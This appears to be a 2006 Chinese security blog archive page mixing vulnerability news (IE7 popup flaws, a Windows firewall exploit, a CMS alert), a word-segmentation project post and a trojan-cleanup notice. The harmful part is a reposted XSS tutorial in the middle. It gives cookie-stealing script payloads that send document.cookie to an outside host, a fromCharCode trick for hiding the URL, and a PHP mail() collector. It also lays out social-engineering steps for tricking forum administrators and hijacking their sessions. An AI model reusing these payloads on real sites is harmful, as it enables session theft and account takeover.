B.C.T授权本站独家发布，转载请注明来源！
发布日期：2006-10-31漏洞发现：Bug.Center.Team(网站：http://www.cnbct.org,Email：webmaster@cnbct.org )
漏洞等级：无可救药 （非常非常严重）
影响版本： 所有版本
漏洞描述：风迅网站管理系统在我们的代码安全审核中发现存在非常严重安全漏洞！特发布此安全警报！
解决方案：因为严重漏洞过多！无法避免！Bug.Center.Team建议正在使用的用户暂时删除所有的asp文件，等待官方出补丁后再使用！
Archive for 十月, 2006
黑客公布了一个代码. 攻击者利用这个代码能够关闭某些Windows XP计算机的Windows防火墙.
这个代码是在星期日 (10月29日) 上午在互联网上公布的. 利用这个代码, 攻击者能够关闭运行Windows互联网连接服务 (ICS) 的全面使用补丁的Windows XP计算机的Windows防火墙. 互联网连接服务能够让用户把自己的计算机变成一台路由器, 与局域网上的其它计算机共享互联网连接. 这个服务一般是在家庭和小企业使用的.
nCircle网络安全公司的研究工程师Tyler Reguly称, 攻击者能够向另一台使用ICS的计算机发送一个恶意数据包, 造成这项服务停止工作. 由于这项服务是连接到Windows防火墙的, 这个数据包还能造成Windows防火墙停止工作. Reguly本周一在采访时表示, 一旦这个防火墙倒掉,…
万众期待的IE7从19日发布到现在还不足半个月,安全漏洞已经出现三个了,而发现者仍是揭露出头两个漏洞的Secunia.Secunia安全研究员Per Gravgaard发现的这个最新漏洞属于Windows注入缺陷,会导致合法网站被破坏.利用该漏洞,黑客可以构造出特殊代码,然后利用自己的网站替换掉正常的网站.Secunia的安全公告指出:“如果目标网站的窗口标题是已知的,就可以将另一个网站的内容注入其中.恶意网站可以籍此替换掉可信任网站弹出窗口的内容,进而欺骗用户.”
与第二个IE7漏洞一样,这次还是浏览器对弹出窗口的控制问题出现了瑕疵.IE7本来可以抵御利用新漏洞发起的攻击,不过如果黑客配合利用第二个漏洞,IE7就无能为力了.
测试表明,如果开启IE7的弹出窗口屏蔽功能,可以在很大程度上弥补这一漏洞.旧版的IE6和Firefox 1.5以及同样刚发布的Firefox 2.0也都存在这一漏洞,尤为严重的是:Firefox 1.5即使开启弹出窗口屏蔽功能也无济于事.
Secunia在IE7发布24小时内就指出了一个漏洞,而微软澄清说那其实是Outlook Express组件的问题,与IE本身无关,不过Secunia看来是跟IE7较上劲了.照这样下去,第四个、第五个……IE7漏洞也不远了.
Secunia照例又给出了一个测试演示页面,在这里.
消息来源:MyDrivers
来源：csdn 作者：jnsuyun
前几天读到google研究员吴军的数学之美系列篇，颇有感触。而恰好自己前段时间做了个基于统计语言模型的中文切分系统的课程项目，于是乎，帖出来与大家共同学习。
分词技术在搜索引擎，信息提取，机器翻译等领域的重要地位与应用就不敖述了。步入正题：）
<!–[if !supportLists]–>一、 <!–[endif]–>项目概述
本切分系统的统计语料是用我们学校自己开放的那部分，大家可以在 这里 下载，中文字符约184万，当然这都是已切分好了的，可以用此建立一个比较小的语料库。本系统我主要分下面四个步骤完成：
<!–[if !supportLists]–>1、 …
信息来源：至尊宝的成长之路
比如发现一处可XSS地方：<script>alert(不管怎么样弹出就好)</script>
自己弄个偷cookie的文件。
目的是让其他浏览者去浏览我们设计好的陷阱<script>document.location='http://URL.com/cookie.php?cookie='+escape(document.cookie) </script>
怎么弄其实也不用我多说了。。
现在主要说的是如何隐藏JavaScript执行。
大家可能习惯每天去milw0rm.com看EXP，
每当发布XSS漏洞的EXP，当我们利用的时候。
却无法cookie任何信息，这是为什么呢。。
像魔力，PHPBB这样大型的论坛都具备XSS漏洞。
我给的这个<script>document.location='http://URL.com/cookie.php?cookie='+escape(document.cookie) </script>
会显示Javascript 错误。
解决办法有2种，我们可以把外部敏感信息用unicode编码
给个URL：http://www.mikezilla.com/exp0012.html
通过编码就是这样：<script>eval(location.href=String.f romCharCode( 104,116,116,112,58,47,47,119,119,119,46,119,52,99, 107,49,110,103,46,99,111,109));</script>
上述还不行就用第2种方法
Javascript fromCharCode中的eval功能
上面说了可以用unicode编码过一些站
比如编码后的104，116，116，112就是HTTP
如果论坛用了其他的编辑器，比如PHPWind 用的所见所得编辑器
直接打上http://url.com肯定会暴露。
那么我们就看编辑器的形式来调换URL
比如偷COOKIE的站是http://www.URL.com
我们就这样http://www.url.com
当然显示的部分你可以替换成吸引人的信息骗取管理和斑竹的点击
用一点社会工程学就可以了。。
好了现在都完成了初步的设想，开始实现吧
第1步：管理看见我们构造好的陷阱，并且点了他
第2步：Javascript 执行成功了。。。
第3步：构造好的偷COOKIE文件偷取到Cookie
第4步：我们不可能傻到URL连接是纯文本，将URL用Unicode编码（这里习惯说是加密）http://www.mikezilla.com/exp0012.html
第5步：截取的Cookie信息当然不是明文的，我们只要使用FireFox Cookie 编辑器替换COOKIE就OK了，或者用CookieEditor等其他工具。。
个人建议：偷取Cookie不一定就使用空间收取Cookie信息比如构造个邮箱收取就这样<?
mail("hackeroo@hotmail.com","cookie monster",$_REQUEST['cookie']);
?><html><script>document.location='http://www.URL.com/'</script></html>
好了偷到有价值的信息替换Cookie就行了。。替换斑竹的就是斑竹权限，替换管理的就和是管理权限。。
完了。。。。
信息来源：至尊宝的成长之路 FireFox's blog
flash/downfile.asp过滤不严导致可下载任意文件。
<%Dim url,strUrl,strPathurl = Replace(Replace(Replace(Request("url"), "'", ""), "%", ""), "\", "/")//首先先进行一些字符的替换，'换成空，%也换成空，\换成/
If Len(url) > 3 Then If Left(url,1) = "/" Then Response.Redirect…
网络安全研究人员周一警告称,IE7上存在的一个漏洞有可能允许恶意攻击者篡改一个合法网站上的弹出窗口里面的内容.据ZDNet网站报道,那些访问一个受新任网站并打开了该网站上包含恶意代码的弹出式窗口的用户可能成为这个漏洞的受害者.这已是微软IE7发布2周以来发现的第二个安全漏洞.上周,人们在IE7上发现了一个可能在弹出窗口里显示诱骗性地址栏的漏洞.
据安全公司Secunia的首席技术官Thomas Kristensen称,如果IE7的这两个漏洞被结合在一起利用的话,除了哪些对安全问题时刻都保持警惕的用户外,所有的用户都会轻易上当受骗.
Secunia将最新发现的这一漏洞评定为“中度危险”,因为浏览这些内容不不会导致攻击者侵入用户的电脑,但如果用户在含有恶意代码的弹出窗口输入了敏感信息,如信用卡资料、用户名或密码等,就有可能成为受害者.此外,该漏洞评定为“中度危险”还因为它需要用户的参与,而且只影响到特定的受信任网站.
Secunia指出,该安全缺陷影响到运行IE7和Windows XP SP2的补丁齐全的系统.这家安全公司建议用户在浏览受信任网站的同时避免打开可疑的网站.
消息来源:赛迪网
Neeao：我汗，天天在上面下载软件，这下完了！电脑出问题说不定就是这个原因，让我昨天重装了系统！郁闷！现在的人纳！
在上星期,本站下载站因为被入侵,部份软件的下载地址被修改了,新的下载地址里的软件里捆绑了木马.部份被捆绑了木马下载器,下载大量木马,所以在分析上,研究清除方法,测试需时,所以到今天才正式发出清除的方法,实在抱歉.
常见问题Q: 如何判断自己是否中招?A:-你上星期有到下载站下载东西-
如果有,请作进一步检查 1. 下载 System Repair Engineer 2 ,并保存到桌面 (由于SREng 官方Server出现问题,会员可以下载附件 SREng2.2.zip)…
Neeao:以前用这个杀毒，感觉进程太多了，看起来不舒服，现在改用NoD32了，就两个进程！嘿，用这个的朋友别忘记更新下了！
全球最畅销的杀毒软件之一,McAfee防毒软件, 除了操作介面更新外,也将该公司的WebScanX功能合在一起,增加了许多新功能! 除了帮你侦测和清除病毒,它还有VShield自动监视系统,会常驻在System Tray,当你从磁盘、网络上、E-mail夹文件中开启文件时便会自动侦测文件的安全性,若文件内含病毒,便会立即警告,并作适当的处理,而且支持鼠标右键的快速选单功能,并可使用密码将个人的设定锁住让别人无法乱改你的设定.
Notice to McAfee Anti-Virus Engine users:McAfee AutoUpdate functionality will update corporate products to the new 5100 engine…
应朋友的要求，将sql通用防注入的asp版本修改下，做个最终版本 100%
网站两周年改版。100%
跟导师联系开始搞毕业设计。100%
河南省首届互联网大赛作品。10%